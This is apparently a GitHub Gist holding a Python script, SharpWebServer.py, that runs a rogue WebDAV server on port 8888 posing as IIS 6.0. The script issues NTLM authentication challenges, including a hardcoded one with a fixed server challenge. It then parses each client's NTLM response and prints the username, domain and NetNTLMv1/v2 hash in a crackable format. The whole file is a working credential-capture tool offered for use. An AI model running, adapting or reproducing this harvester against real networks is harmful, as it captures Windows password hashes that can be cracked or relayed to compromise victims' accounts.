Created
December 8, 2024 14:47
-
-
Save milo2012/089eab8bb28188678de9538e4964148c to your computer and use it in GitHub Desktop.
SharpWebServer.py
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from http.server import BaseHTTPRequestHandler, HTTPServer | |
from datetime import datetime, timezone | |
import struct | |
import base64 | |
from binascii import hexlify | |
class WebDAVRequestHandler(BaseHTTPRequestHandler): | |
protocol_version = "HTTP/1.1" # Ensure HTTP/1.1 is used | |
def version_string(self): | |
"""Override the server version string to suppress the default Server header.""" | |
return "Microsoft-IIS/6.0" | |
def date_time_string(self, timestamp=None): | |
"""Override to provide a custom Date header.""" | |
return datetime.now(timezone.utc).strftime('%a, %d %b %Y %H:%M:%S GMT') | |
def send_response(self, code, message=None): | |
"""Override send_response to suppress default Server and Date headers.""" | |
self.log_request(code) | |
self.send_response_only(code, message) # Send only the status line | |
#self.send_header('Server', self.version_string()) | |
#self.send_header('Date', self.date_time_string()) | |
def end_headers(self): | |
"""Ensure headers are properly finalized.""" | |
#self.send_header('Connection', 'Keep-Alive') | |
super().end_headers() | |
def do_OPTIONS(self): | |
self.send_response(200) | |
self.send_header('Allow', 'GET, HEAD, OPTIONS, PROPFIND') | |
self.send_header('Dav', '1,2') | |
self.send_header('MS-Author-Via', 'DAV') | |
self.send_header('Content-Length', '0') | |
self.send_header('Connection', 'Close') | |
self.end_headers() | |
def do_PROPFIND(self): | |
#print(f"\nReceived Request: PROPFIND {self.path} {self.request_version}") | |
try: | |
# Attempt to fetch the Authorization header | |
authorization_header = self.headers.get('Authorization') | |
except Exception as e: | |
print(f"Error reading headers: {e}") | |
self.send_response(500) | |
self.send_header('Content-Length', '0') | |
self.end_headers() | |
return | |
# If no Authorization header, handle the first PROPFIND request | |
if not authorization_header: | |
print("NTLM: Sending 401 Unauthorized with NTLM Challenge Response.") | |
try: | |
self.send_response(401) | |
self.send_header('WWW-Authenticate', 'NTLM') | |
self.send_header('Connection', 'keep-alive') | |
self.send_header('Content-Length', '0') | |
self.send_header('Server', self.version_string()) | |
self.send_header('Date', self.date_time_string()) | |
self.end_headers() | |
except Exception as e: | |
print(f"Error sending 401 response: {e}") | |
return | |
# Handle the second PROPFIND request with Authorization header | |
print(f"Authorization header found: {authorization_header}") | |
if authorization_header.startswith("NTLM "): | |
ntlm_token = authorization_header[5:] # Remove "NTLM " prefix | |
try: | |
# Decode the NTLM token | |
ntlm_bytes = base64.b64decode(ntlm_token) | |
decoded_ntlm = decode_ntlm(ntlm_bytes) | |
# Check for non-ASCII characters in the decoded token | |
if not contains_non_ascii(decoded_ntlm): | |
print(f"Decoded NTLM hash: {decoded_ntlm}") | |
# Respond with a 404 if the decoding is successful and complete your flow here | |
self.send_response(404) | |
self.send_header('Connection', 'close') | |
self.end_headers() | |
return | |
except base64.binascii.Error as e: | |
print(f"Base64 decoding error: {e}") | |
self.send_response(400) # Bad Request | |
self.end_headers() | |
return | |
except Exception as e: | |
print(f"Error decoding NTLM token: {e}") | |
self.send_response(500) | |
self.end_headers() | |
return | |
else: | |
print("Invalid Authorization header format (not NTLM).") | |
# Send a new 401 response with NTLM challenge if validation fails | |
try: | |
self.send_response(401) | |
self.send_header('WWW-Authenticate', 'NTLM TlRMTVNTUAACAAAABgAGADgAAAAFAomiESIzRFVmd4gAAAAAAAAAAIAAgAA+AAAABQLODgAAAA9TAE0AQgACAAYAUwBNAEIAAQAWAFMATQBCAC0AVABPAE8ATABLAEkAVAAEABIAcwBtAGIALgBsAG8AYwBhAGwAAwAoAHMAZQByAHYAZQByADIAMAAwADMALgBzAG0AYgAuAGwAbwBjAGEAbAAFABIAcwBtAGIALgBsAG8AYwBhAGwAAAAAAA==') | |
self.send_header('Connection', 'keep-alive') | |
self.send_header('Content-Length', '0') | |
self.end_headers() | |
except Exception as e: | |
print(f"Error sending 401 response with NTLM challenge: {e}") | |
self.send_response(500) | |
self.end_headers() | |
def log_request(self, code='-', size='-'): | |
# Extracting necessary details | |
peer_ip = self.client_address[0] # Client IP | |
http_method = self.command # HTTP method (e.g., GET, POST) | |
uri = self.path # Requested URI | |
size_in_bytes = size if size != '-' else "" # Response size | |
status_code = code if code != '-' else "" # Response status code | |
# Formatting and printing the log | |
print(f"{peer_ip} - \"{http_method} {uri}\" ({status_code})") | |
def contains_non_ascii(s): | |
return any(ord(char) > 127 for char in s) | |
def decode_ntlm(ntlm): | |
def extract_string(data, offset, length): | |
return data[offset:offset + length].decode('utf-16-le') | |
lm_hash_len = struct.unpack_from("<H", ntlm, 12)[0] | |
lm_hash_offset = struct.unpack_from("<H", ntlm, 16)[0] | |
lm_hash = ntlm[lm_hash_offset:lm_hash_offset + lm_hash_len] | |
nt_hash_len = struct.unpack_from("<H", ntlm, 20)[0] | |
nt_hash_offset = struct.unpack_from("<H", ntlm, 24)[0] | |
nt_hash = ntlm[nt_hash_offset:nt_hash_offset + nt_hash_len] | |
user_len = struct.unpack_from("<H", ntlm, 36)[0] | |
user_offset = struct.unpack_from("<H", ntlm, 40)[0] | |
user_string = extract_string(ntlm, user_offset, user_len) | |
if nt_hash_len == 24: | |
# NTLMv1 | |
host_name_len = struct.unpack_from("<H", ntlm, 46)[0] | |
host_name_offset = struct.unpack_from("<H", ntlm, 48)[0] | |
host_name_string = extract_string(ntlm, host_name_offset, host_name_len) | |
retval = f"{user_string}::{host_name_string}:{lm_hash.hex()}:{nt_hash.hex()}:1122334455667788" | |
return retval | |
elif nt_hash_len > 24: | |
# NTLMv2 | |
nt_hash_len = 64 | |
domain_len = struct.unpack_from("<H", ntlm, 28)[0] | |
domain_offset = struct.unpack_from("<H", ntlm, 32)[0] | |
domain_string = extract_string(ntlm, domain_offset, domain_len) | |
host_name_len = struct.unpack_from("<H", ntlm, 44)[0] | |
host_name_offset = struct.unpack_from("<H", ntlm, 48)[0] | |
host_name_string = extract_string(ntlm, host_name_offset, host_name_len) | |
nt_hash_part1 = hexlify(nt_hash[:16]).decode().upper() | |
nt_hash_part2 = hexlify(nt_hash[16:]).decode().upper() | |
retval = f"{user_string}::{domain_string}:1122334455667788:{nt_hash_part1}:{nt_hash_part2}" | |
return retval | |
print("[!] SharpWebServer: Could not parse NTLM hash") | |
return "" | |
def run(server_class=HTTPServer, handler_class=WebDAVRequestHandler, port=8888): | |
server_address = ('', port) | |
httpd = server_class(server_address, handler_class) | |
print(f'Starting WebDAV server on port {port}') | |
httpd.serve_forever() | |
if __name__ == '__main__': | |
run() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment